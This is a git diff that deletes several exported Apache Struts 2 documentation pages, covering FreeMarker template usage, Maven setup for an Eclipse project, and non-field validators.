-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#if Parameters.myParameter?exists&gt;
-     ${Parameters.myParameter}
-&lt;/#if&gt;
-</pre>
-</div></div>
-<p>or</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.property value="%{#parameters.myParameter}" /&gt;
-</pre>
-</div></div>
-
-<h3 id="UsingFreemarkerTemplates-Contextparameter">Context parameter</h3>
-
-<p>Assuming there's a parameter with the name myContextParam in framework context.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-${stack.findValue('#myContextParam')}
-</pre>
-</div></div>
-<p>or</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.property value="%{#myContextParam}" /&gt;
-</pre>
-</div></div>
-
-<h2 id="UsingFreemarkerTemplates-TemplateLoading">Template Loading</h2>
-
-<p>The framework looks for FreeMarker templates in two locations (in this order):</p>
-<ol><li>Web application</li><li>Class path</li></ol>
-
-
-<p>This ordering makes it ideal for providing templates inside a fully-built jar, but allowing for overrides of those templates to be defined in your web application. In fact, this is how you can override the default UI tags and <a shape="rect" href="form-tags.html">Form Tags</a> included with the framework.</p>
-
-<p>In addition, you can specify a location (directory on your file system) through the <code>templatePath</code> or <code>TemplatePath</code> context variable (in  the <code>web.xml</code>. If a variable is specified, the content of the directory it points to will be searched first.</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This variable is currently NOT relative to the root of your application.</p></div></div>
-
-
-<p>If a property is defined on the template with the same name as a property on the action, FreeMarker will use the property defined on the template.</p>
-
-
-
-<h2 id="UsingFreemarkerTemplates-VariableResolution">Variable Resolution</h2>
-
-<p>When using FreeMarker with the framework, variables are looked up in several different places, in this order:</p>
-<ol><li>Built-in variables</li><li>Value stack</li><li>Action context</li><li>Request scope</li><li>Session scope</li><li>Application scope</li></ol>
-
-
-<p>Note that the action context is looked up after the value stack. This means that you can reference the variable without the typical preceding has marker (#) like you would have to when using the JSP <code>s:property</code> tag. This is a nice convenience, though be careful because there is a small chance it could trip you up.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.url id="url" value="http://www.yahoo.com"/&gt;
-Click &lt;a xhref="${url}"&gt;here&lt;/a&gt;!
-</pre>
-</div></div>
-<p>The built-in variables that Struts-FreeMarker integration provides are:</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Name </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> stack </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> The value stack itself, useful for calls like ${stack.findString('ognl expr')} </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> actio [...]
-
-
-
-<h2 id="UsingFreemarkerTemplates-FreeMarkerconfiguration">FreeMarker configuration</h2>
-
-<p>To configure the FreeMarker engine, just add a file <code>freemarker.properties</code> to the classpath.  The supported properties are those that the FreeMarker Configuration object expects, see <a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/docs/pgui_config.html" rel="nofollow">FreeMarker's documentation</a> for more details.  </p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>freemarker.properties example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-default_encoding=ISO-8859-1
-template_update_delay=5
-locale=no_NO
-</pre>
-</div></div>
-
-
-<h2 id="UsingFreemarkerTemplates-Tags">Tags</h2>
-
-
-<h3 id="UsingFreemarkerTemplates-UsingStrutstags">Using Struts tags </h3>
-
-<p>Tags distributed with Struts are automatically made available to FreeMarker templates. To use any tag add "<code>@s.</code>" in front of the tag name. Like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Using Struts tags on FreeMarker templates</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.if test="printName"&gt;
-    &lt;@s.property value="myBeanProperty" /&gt;
-&lt;/@s.if&gt;
-</pre>
-</div></div>
-
-
-<h3 id="UsingFreemarkerTemplates-UsingJSPtags">Using JSP tags</h3>
-
-<p>To use JSP tags that are not part of Struts you have to:</p>
-
-<p>1. Add JspSupportSerlvet to web.xml</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Adding JspSupportSerlvet to web.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;servlet&gt;
-    &lt;servlet-name&gt;JspSupportServlet&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;org.apache.struts2.views.JspSupportServlet&lt;/servlet-class&gt;
-    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;
-&lt;/servlet&gt;
-</pre>
-</div></div>
-
-<p>2. Declare the tld on web.xml or use FreeMarker's "<code>assign</code>" directive. When using the "<code>assign</code>" directive, provide the absolute path to the tld file.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Using JSP tags on FreeMarker templates</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#assign ex=JspTaglibs["/WEB-INF/example.tld"] /&gt;
-
-&lt;@ex.mytag text="hello" /&gt;
-</pre>
-</div></div>
-
-
-<h2 id="UsingFreemarkerTemplates-TipsandTricks">Tips and Tricks</h2>
-
-<p>There are some advanced features that may be useful when building Struts applications with FreeMarker.</p>
-
-
-<h3 id="UsingFreemarkerTemplates-TypeConversionandLocales">Type Conversion and Locales</h3>
-
-<p>FreeMarker has built in support for formatting dates and numbers. The formatting rules are based on the locale associated with the action request, which is by default set in <a shape="rect" href="strutsproperties.html">struts.properties</a> but can be over-ridden using the <a shape="rect" href="i18n-interceptor.html">I18n Interceptor</a>. This is normally perfect for your needs, but it is important to remember that these formatting rules are handled by FreeMarker and not by the framew [...]
-
-<p>If you want the framework to handle the formatting according to the <a shape="rect" href="type-conversion.html">Type Conversion</a> you have specified, you shouldn't use the normal ${...} syntax. Instead, you should use the <a shape="rect" href="property.html">property</a> tag. The difference is that the property tag is specifically designed to take an <a shape="rect" href="ognl.html">OGNL</a> expression, evaluate it, and then convert it to a String using any <a shape="rect" href="typ [...]
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The difference in how type conversion is handled under Freemarker is subtle but important to understand.</p></div></div>
-
-
-<h3 id="UsingFreemarkerTemplates-StringandNonStringValuesontags">String and Non String Values on tags</h3>
-
-<p>In FreeMarker it is incorrect to quote non string values. If a value is quoted, then an string will be passed, instead of the expected object, causing an exception. For example, the "textarea" tag expects the attributes "rows" and "cols" of type Integer:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Do not quote non string values in tag attributes!</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;@s.textarea rows=5 cols=40 /&gt;
-</pre>
-</div></div>
-
-
-<h3 id="UsingFreemarkerTemplates-Extending">Extending</h3>
-
-<p>Sometimes you may with to extend the framework's FreeMarker support. For example, you might want to extend the Struts tags that come bundled with the framework.</p>
-
-<p>To extend the Freemarker support, develop a class that extends <code>org.apache.struts2.views.freemarker.FreemarkerManager</code>, overriding methods as needed, and plugin the class through the <a shape="rect" href="strutsproperties.html">struts.properties</a>:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-struts.freemarker.manager.classname = com.yourcompany.YourFreeMarkerManager
-</pre>
-</div></div>
-
-
-<h2 id="UsingFreemarkerTemplates-FreeMarkeralternativesyntax">FreeMarker alternative syntax</h2>
-
-<p>FreeMarker by default uses the "&lt;#directive /&gt;" syntax. FreeMarker supports an alternative syntax, where [ and ] are used instead of &lt; and &gt;. To enable the alternative syntax, add [#ftl] at the beginning of the template. The alternative syntax makes it easier to differentiate between FreeMarker directives, and JSP or HTML tags.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Use alternative syntax</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-[#ftl]
-&lt;html&gt;
-   &lt;head&gt;FreeMarker Example&lt;/head&gt;
-    
-   &lt;body&gt;
-       &lt;h1&gt;Alternative Syntax&lt;/h1&gt;
-       [@s.if test="printName"]
-          [@s.property value="myBeanProperty" /]
-       [/@s.if]
-   &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> There are a number of <a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/editors.html" rel="nofollow">IDE plugins</a> available for FreeMarker. But, if your IDE is not on the list, then the using alternative syntax will avoid conflic [...]
-
-<h2 id="UsingFreemarkerTemplates-FreeMarkerlinks">FreeMarker links</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/" rel="nofollow">Home Page</a></li><li><a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/docs/index.html" rel="nofollow">Documentation</a></li><li><a shape="rect" class="external-link" href="http://freemarker.sourceforge.net/editors.html" rel="nofollow">IDE Integration</a></li></ul>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-maven-to-setup-an-eclipse-project-for-your-application.html b/content/docs/using-maven-to-setup-an-eclipse-project-for-your-application.html
deleted file mode 100644
index 1af7073..0000000
--- a/content/docs/using-maven-to-setup-an-eclipse-project-for-your-application.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Maven to Setup an Eclipse Project for Your Application</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="using-maven-to-setup-an-eclipse-project-for-your-application.html">Using Maven to Setup an Eclipse Project for Your Application</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Maven to Setup an Eclipse Project for Your Application</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13832">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13832">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13832">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13832">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13832">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13832">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Because the framework is under active development, these instructions are likely to be out-of-date in specifics.&#160; Hopefully the basic strategies will still apply.</p><p>First, if xwork is not available froma Maven repo (for example, if it has moved to a SNAPSHOT dependency), then check it out from the repository and run "mvn install" - this gives you the snapshot of XWork as well as the POM for resolving transitive dependencies like oscore. [...]
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn install:install-file -DartifactId=dwr -DgroupId=dwr -Dpackaging=jar -Dversion=1.1.3-beta \
-    -Dfile=/Users/germuska/.ivy-cache/dwr/dwr/jars/dwr-1.1-beta-3.jar
-
-mvn install:install-file -DartifactId=plexus-container-default -DgroupId=org.codehaus.plexus \
-    -Dpackaging=jar -Dversion=1.0-alpha-10-SNAPSHOT \
-    -Dfile=/Users/germuska/.ivy-cache/org.codehaus.plexus/plexus-container-default/jars/plexus-container-default-1.0-alpha-10-20060215.222714-5.jar
-</pre>
-</div></div><p>If you are not running Java 5.0, then you will also need to install the dom3 APIs.&#160; As far as we can tell, the compiled JAR is not on any Maven repository. the source for dom3 can be found here: <a shape="rect" class="external-link" href="http://ibiblio.org/maven2/xerces/dom3-xml-apis/1.0/dom3-xml-apis-1.0-sources.jar&amp;nbsp" rel="nofollow">http://ibiblio.org/maven2/xerces/dom3-xml-apis/1.0/dom3-xml-apis-1.0-sources.jar&amp;nbsp</a>; You can build a jar from it and  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-non-field-validators.html b/content/docs/using-non-field-validators.html
deleted file mode 100644
index a5976e7..0000000
--- a/content/docs/using-non-field-validators.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Non Field Validators</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="using-non-field-validators.html">Using Non Field Validators</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Non Field Validators</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14301">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14301">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14301">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14301">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14301">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14301">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="UsingNonFieldValidators-Description">Description</h2><p>The followings show a simple example using Webwork's Non Field Validators</p><h3 id="UsingNonFieldValidators-Step1">Step 1</h3><p>Create the jsp page<plain-text-body>{snippet:id=nonFieldValidatorsExample|lang=xml|javadoc=false|url=struts2/apps/showcase/src/main/webapp/WEB-INF/validation/nonFieldValidatorsExample.jsp}</plain-text-body></p><h3 id="UsingNonFieldValidators-Step2">Step 2</h [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/using-struts-2-tags.data/Struts-Form.png b/content/docs/using-struts-2-tags.data/Struts-Form.png
deleted file mode 100644
index 8aad998..0000000
Binary files a/content/docs/using-struts-2-tags.data/Struts-Form.png and /dev/null differ
diff --git a/content/docs/using-struts-2-tags.data/displaymessagestore.png b/content/docs/using-struts-2-tags.data/displaymessagestore.png
deleted file mode 100644
index c1f3064..0000000
Binary files a/content/docs/using-struts-2-tags.data/displaymessagestore.png and /dev/null differ
diff --git a/content/docs/using-struts-2-tags.html b/content/docs/using-struts-2-tags.html
deleted file mode 100644
index 9a4bc84..0000000
--- a/content/docs/using-struts-2-tags.html
+++ /dev/null
@@ -1,263 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Using Struts 2 Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>&nbsp;&gt;&nbsp;<a href="create-struts-2-web-application-with-artifacts-in-web-inf-lib-and-use-ant-to-build-the-application.html">Create Struts 2 Web Application With Artifacts In WEB-INF lib and Use Ant To Bui [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Using Struts 2 Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811875">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811875">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
